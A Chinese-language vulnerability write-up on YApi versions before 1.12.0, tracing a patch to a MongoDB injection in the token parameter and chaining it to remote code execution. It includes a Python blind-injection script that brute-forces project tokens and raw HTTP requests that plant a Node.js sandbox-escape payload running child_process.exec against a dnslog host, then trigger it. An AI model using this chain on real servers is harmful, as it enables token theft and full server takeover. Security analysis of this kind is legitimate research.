0x00 前提
这个是前几个月的漏洞,之前爆出来发现没人分析就看了一下,也写了一片 Nosql注入的文章,最近生病在家,把这个写一半的完善一下发出来吧。
0x01 介绍
YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。
YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
[YMFE/yapi: YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台 (github.com)]
https://github.com/YMFE/yapi
当时年底爆出来的从未授权注入到rce的利用,就是从一个buffix出来的,就是下面这个链接
参考链接:
- https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c
Bugfix 2022 11 01 (#2628)
* fix: 修复【Mongo 注入获取 token】的问题 * chore: up version * chore: 关闭 Pre-request Script 和 Pre-response Script v1.11.0 之后 如下脚本功能关闭,如需打开,请联系管理员添加. 在 db, mail 同级配置 scriptEnable: true, 并重启服务 即可 Co-authored-by: ariesly <ariesly@arieslymac13.local>
0x02 环境
当时自己搭建的环境,起一个docker 的 mongo,本地起一个yapi
自己手动搭建, 注意要自己下载带漏洞的版本
mkdir yapi cd yapi git clone https://github.com/YMFE/yapi.git vendors //或者下载 zip 包解压到 vendors 目录(clone 整个仓库大概 140+ M,可以通过 `git clone --depth=1 https://github.com/YMFE/yapi.git vendors` 命令减少,大概 10+ M) cp vendors/config_example.json ./config.json //复制完成后请修改相关配置 cd vendors yapi server 访问 在浏览器打开 http://0.0.0.0:9090 访问。非本地服务器,请将 0.0.0.0 替换成指定的域名或ip
其实也可以直接调试P师傅的环境,也是十分方便的,因为自己装确实有好几个bug,卡了半天。
0x03 漏洞分析
首先看到是补丁,补丁感觉修复的东西就几行,重要的就这个?
加了一行判断,要token为string
问题来了,正常应用的话,token难道不都是String吗?这个其实我一开始也没看明白
但是我们了解 Nosql注入之后,就知道是哪一种情况,基本上就传入了一个数组导致的问题
而且也定位了 token 这个参数出现了问题,那先把注入搞定
0x04 注入
直接打断点,然后看一下路由,哪些路由回到这边
而且这中文注释,很清楚了吧,haiy
最后跟到getProjectIdByToken里面,最后是一个mango 的sql查询了
这里其实看似是没有问题的,因为是一个预编译的情况
但是这里是 mongo注入的经典情况,可以传入一个数组 , 就可以构成一个注入了
0x05 如何传入一个数组
直接构造一下试一下
GET /api/project/get?token={"token":{"$regex":"^1"}} HTTP/1.1
答案显然是不行的
这里yapi用的是一个叫 koa web的通用web框架,
那么利用 koa web框架 中会解析 json格式,转化为一个数组
我们主要需要 Content-Type: application/json
就可以解析json转化为数组,最终成为成功传入数组
0x06 注入判断
正确的情况:
错误的情况:
那么就是一个标准的盲注情况,写个poc
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
target = 'http://127.0.0.1:3333/api/plugin/export'
token = ''
json_data = {
"token": {
"$regex":"^"+token
}
}
while True:
for word in string.printable:
if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
json_data = {
"token": {
"$regex": "^" + token+word
}
}
r = requests.get(url=target,json=json_data, )
# print(r.text)
if 'html' in r.text:
print("Found one more char : %s" % (token+word))
token += word
0x07 Token转换
因为我们发现我, 注入出来的这个token不对的
明显和真实的token长度都不一样吗
那么应该还有一个转化的步骤,当传递过来的token后,会先进行一次aseDecode方法
随后获取到正确的uid 才能正常后续的操作。
如果解密失败,就会默认给一个99999,就是没权限。
那么我们先解决第一个解密的问题,还是一个硬编码 abcde
所以就来一个对应的加密脚本
0x08 RCE的原理
那肯定是要利用这个token来做文章了
那么他可以做什么? 明显要看一下运行自动化测试这个东西
看了一下,只是运行一个项目,需要一个 id 的参数,那这个应该是最后触发的条件。
然后发现这里可以加入脚步
测试一下,可以正常触发
可以利用
那么rce的利用流程大概就是这几步
1.注入获取token
2.添加任意测试用例
3.修改项目Pre-response Script脚本
4.调用/api/open/run_auto_test,
5.完成RCE。
0x09 爆破一下
那么现在就是一个要往里面设置payload,
就是要获得这个项目ID,其实还需要用户ID
但是好处是这两个ID都是小数,可以直接爆破
爆破项目project_id,可以用这个接口,也有其他接口
http://127.0.0.1:3000/api/project/get?id=1&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1
这个接口上传脚本
POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
id=66&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping 6666.rwzdkn.dnslog.cn')
最后,运行脚本,触发命令执行,结束
GET /api/open/run_auto_test HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 88
{
"id":"66","token":"fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1"}
0x10 总结
其实RCE这个问题,属于后台利用吧,是nodejs的vm模块出现的问题
主要还是在于项目的 token可以被注入出来,那么就可以任意操作项目了,那存在这种可以执行脚本的模块也是